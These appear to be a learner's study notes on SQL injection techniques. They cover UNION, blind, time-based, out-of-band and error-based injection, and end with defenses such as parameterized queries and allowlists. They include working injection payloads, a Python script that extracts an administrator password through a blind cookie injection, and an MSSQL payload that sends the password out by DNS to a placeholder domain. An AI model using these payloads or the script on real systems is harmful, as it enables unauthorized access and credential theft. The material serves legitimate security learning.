An SQLi occurs when the application incorporates untrusted data into a query in such a way that it can be interpreted as part of the SQL code. Allowing data to be read/modified, bypassing authentication or, in some cases, RCE.

Basic example:

In an application that verifies the credentials with:

SELECT * FROM users WHERE username = 'wiener' AND password = '123'

If username is administrator' --, the clause becomes:

SELECT * FROM users WHERE username = 'administrator' --' AND password = '123'

' closes the string.
-- comments out the rest of the condition This way you log in as administrator.

Things to keep in mind

Entry points: URL parameters, forms, cookies, HTTP headers, search filters, identifiers, etc.
Query context: whether the input is introduced as text, a number, inside quotes or somewhere else in the SQL query.
Application behavior: changes in the response, SQL errors, content differences or status codes when modifying the input.
DBMS: identify whether it uses MySQL, PostgreSQL, Microsoft SQL Server, Oracle, etc., since the syntax and the enumeration mechanisms vary.
Type of injection.
Enumeration: first identify the relevant tables and columns.

Where to look

An SQLi can appear in any functionality that builds SQL queries from user-controlled data.

URL parameters: product, category, user IDs or filters (?id=10, ?category=Gifts).
Forms: login, search, registration or password recovery fields.
Filters and sorting: selection of categories, ranges, sorting fields or direction (sort, order).
Cookies and HTTP headers: values that the application uses to query data, identify sessions or personalize content.
Paths and hidden parameters: identifiers included in the path, optional parameters and less visible functionalities.

Examine the database

Often it is necessary to know:

Type and version of the database software
The tables and columns it has.

Depending on this, the injection syntax may change.

Versions

Queries to determine the version of some popular types:

DBMS	Query
Microsoft, MySQL	`SELECT @@version`
Oracle	`SELECT * FROM v$version`
PostgreSQL	`SELECT version()`

Content

Most types (except SQLite and Oracle) have the INFORMATION_SCHEMA which returns database information.

List tables:

SELECT * FROM information_schema.tables

Get the name of the tables:

SELECT table_name FROM information_schema.tables

List columns of a table:

SELECT * FROM information_schema.columns WHERE table_name = 'table'

Get the name of the column:

SELECT column_name FROM information_schema.columns WHERE table_name = 'table'

UNION-based SQLi

UNION allows executing one or more SELECT queries and adding the results to the original query.

Example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

It returns a single result set with two columns, containing the values of columns a and b in table1 and of columns c and d in table2.

Requirements:

Each query must return the same number of columns.
The data types of each column must be compatible across the different queries.

Lab example:

Suppose the app:

SELECT username, email
FROM users
WHERE id = 'INPUT';

When passing the following input.

' UNION SELECT username, email FROM administrators --

The resulting query would be similar to:

SELECT username, email
FROM users
WHERE id = ''
UNION
SELECT username, email
FROM administrators -- ';

It returns two columns, username and email, combining the results of two different queries: one over users and another over administrators.

Determining the number of columns

ORDER BY

To determine the number of columns returned by a query, ORDER BY can be used, sorting by column index until it errors.

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
etc.

This input sorts by the first, second, third column.

If it only has two columns ORDER BY 3 gives an error like: The ORDER BY position number 3 is out of range of the number of items in the select list.

UNION SELECT

The second method consists of using UNION SELECT specifying a different number of null values:

' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
etc.

If the number of null values does not match the number of columns, the database returns an error: All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Determining column types

To retrieve data with UNION you need to know what data types the columns have and in which column you can retrieve the data.

' UNION SELECT 'a',NULL,NULL --
' UNION SELECT NULL,'a',NULL --
' UNION SELECT NULL,NULL,'a' --

If the data type is not compatible it will throw an error.

Retrieving values in a single column

Sometimes the database only returns one column or only has one column with the data type we want to retrieve from another table. In that case, several columns can be concatenated into one.

For example, in Oracle you concatenate with ||.

' UNION SELECT username || ' / ' || password FROM users --

Returns username / password. (administrator / s3cure)

A Blind SQLi occurs when an application is vulnerable to SQLi but its HTTP responses do not contain the results of the SQL query nor the details of the database errors.

Boolean-based

Example

An application uses a TrackingId cookie to determine if it is a known user.

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'xyz'

This query is vulnerable but the results are not shown to the user. However, the application behaves differently depending on what the query returns:

The application returns a welcome message only if TrackingId is recognized.

The vulnerability can be detected with the following inputs:

xyz' AND '1' = '1

Returns the welcome message

xyz' AND '1' = '2

Returns no result

Enumeration

Suppose there is a table called Users with the columns Username and Password, and a user called Administrator whose password is superuser. You can determine the password of this user by sending a series of inputs to test the password character by character.

xyz' AND LENGTH((SELECT Password FROM Users WHERE Username = 'Administrator')) > 20--

Returns nothing because the password length is less than 20

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Returns the welcome message so the first character is greater than m

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Returns nothing so the first character is less than t

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Returns the welcome message so the first character is s.

Important

Conditional functions may vary depending on the database type.

This method can be used to enumerate: table names, column names and their values.

Example script for automated enumeration:

Script

import requests
import string
 
URL = "<URL>"
COOKIE = "<Cookie>"
COOKIE_NAME = "<Cookie_name>"
 
TABLE = "users"
COLUMN1 = "password"
COLUMN2 = "username"
USERNAME = "administrator"
MESSAGE = "Welcome back!"
 
letters = string.digits + string.ascii_uppercase + string.ascii_lowercase
 
def sql_char(char, position, operator):
    return f"{COOKIE}' AND SUBSTRING((SELECT {COLUMN1} FROM {TABLE} WHERE {COLUMN2} = '{USERNAME}'), {position}, 1) {operator} '{char}"
 
def is_true(params):
   response = requests.get(URL, cookies=params, timeout=10)
   return MESSAGE in response.text
 
password = ""
found = True
i = 1 
while found:
   found = False
   left, right = 0, len(letters) - 1
 
   while left <= right:
       mid = (left + right) // 2
       char = letters[mid]
 
       sql_query = sql_char(char, i, '=')
       params = {COOKIE_NAME: sql_query}
 
       if is_true(params):
           password += char
           print(f"Found {char} in position {i}: {password}")
           found = True
           break
 
       sql_query = sql_char(char, i, '<')
       params = {COOKIE_NAME: sql_query}
 
       if is_true(params):
           right = mid - 1
       else:
           left = mid + 1
   i+=1
 
print("Password: " + password)

Time-based

When an application handles errors correctly there will be no difference in the application.

In this situation it is possible to exploit an SQLi by causing delays in the app depending on whether a condition is true or false.

Important

Delay functions vary depending on the database engine.

An example in Microsoft SQL Server:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs does not cause a delay, because the condition 1=2 is false.

The second input triggers a 10 second delay.

Enumeration example:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--

Out-of-band (OAST)

An application may execute a SQL query vulnerable to Blind SQLi but asynchronously. Therefore none of the previous techniques will work.

In these cases, the SQL injection can be exploited by triggering out-of-band network interactions with a system under the attacker’s control. These interactions can be inferred based on an injected condition to extract information little by little, or the data can be extracted directly during the network interaction.

The most effective protocol for this is DNS. Many production networks allow free outbound DNS queries, since they are essential for the operation of production systems.

Note

A good option to detect out-of-band interactions is Interactsh

Example of a DNS query in Microsoft SQL Server:

'; exec master..xp_dirtree '//<Domain>/a'--

This input makes the database perform a lookup for the domain.

Important

The techniques to initiate a DNS query vary depending on the database engine.

Once the way to make out-of-band interactions has been confirmed, it can be used to extract data from the application, for example:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.<Domain>/a"')--

This input queries a subdomain of the DNS server with the format: <password>.<Domain>

Error-based SQLi

An error-based SQLi occurs when database errors can be exploited to obtain information or infer data about the SQL query.

In this case, errors such as division by zero 1/0 are triggered to extract information from the database through error messages.

The possibilities depend on the database configuration and the types of errors:

The application sends an error response depending on the result of a boolean expression.
The error messages contain the data returned by the query.

Conditional error-based

Suppose we have requests with the following values:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

In the first case 1=2 is false so it evaluates to 'a' which should not cause any error

In the second case it evaluates to 1/0 which should throw an error

If the error is recognizable it can be leveraged to use the logic of a Boolean-based blind SQLi

For example:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

If the first character of the password is greater than m it will throw an error

Detailed error messages

Sometimes the database generates errors that may contain relevant information:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

Sometimes it is possible to get the error message to contain the data returned by a query.

Example with CAST():

CAST((SELECT example_column FROM example_table) AS int)

It returns the error:

ERROR: invalid input syntax for type integer: "<Returned data>"

Stored SQLi

Stored SQLi, or second-order SQLi, arises when the database stores the user input for later use but there is no vulnerability at the storage point. Later, when processing a different request, the application retrieves the data and incorporates it into a SQL query in an unsafe way.

Defenses

Parameterized queries

Instead of concatenating the user input:

query = "SELECT * FROM users WHERE username = '" + username + "'"

Use parameters:

cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)
)

This way, an input such as ' OR 1=1 -- is treated as the searched value and not as part of the query.

Input validation

Validation allows checking that the data has the expected format.

Example if an integer is expected:

user_id = int(request.args["id"])

Allowlists

When an input represents a column, a table or a sort direction, it is usually not possible to parameterize it as a conventional value.

In those cases, use a list of allowed options:

allowed_columns = {
    "name": "name",
    "price": "price",
    "created": "created_at",
}
 
column = allowed_columns.get(request.args.get("sort"), "name")
 
query = f"SELECT * FROM products ORDER BY {column}"

Least privilege

The application should connect to the database with an account that has only the necessary permissions.

Error handling

Avoid returning the internal errors of the database directly to the user.

Cheatsheet

Portswigger cheatsheet

Brain DB

Explorer

sqli

Things to keep in mind

Where to look

Examine the database

Versions

Content

UNION-based SQLi

Determining the number of columns

ORDER BY

UNION SELECT

Determining column types

Retrieving values in a single column

Blind SQLi

Boolean-based

Example

Enumeration

Time-based

Out-of-band (OAST)

Error-based SQLi

Conditional error-based

Detailed error messages

Stored SQLi

Defenses

Parameterized queries

Input validation

Allowlists

Least privilege

Error handling

Cheatsheet

Graph View

Table of Contents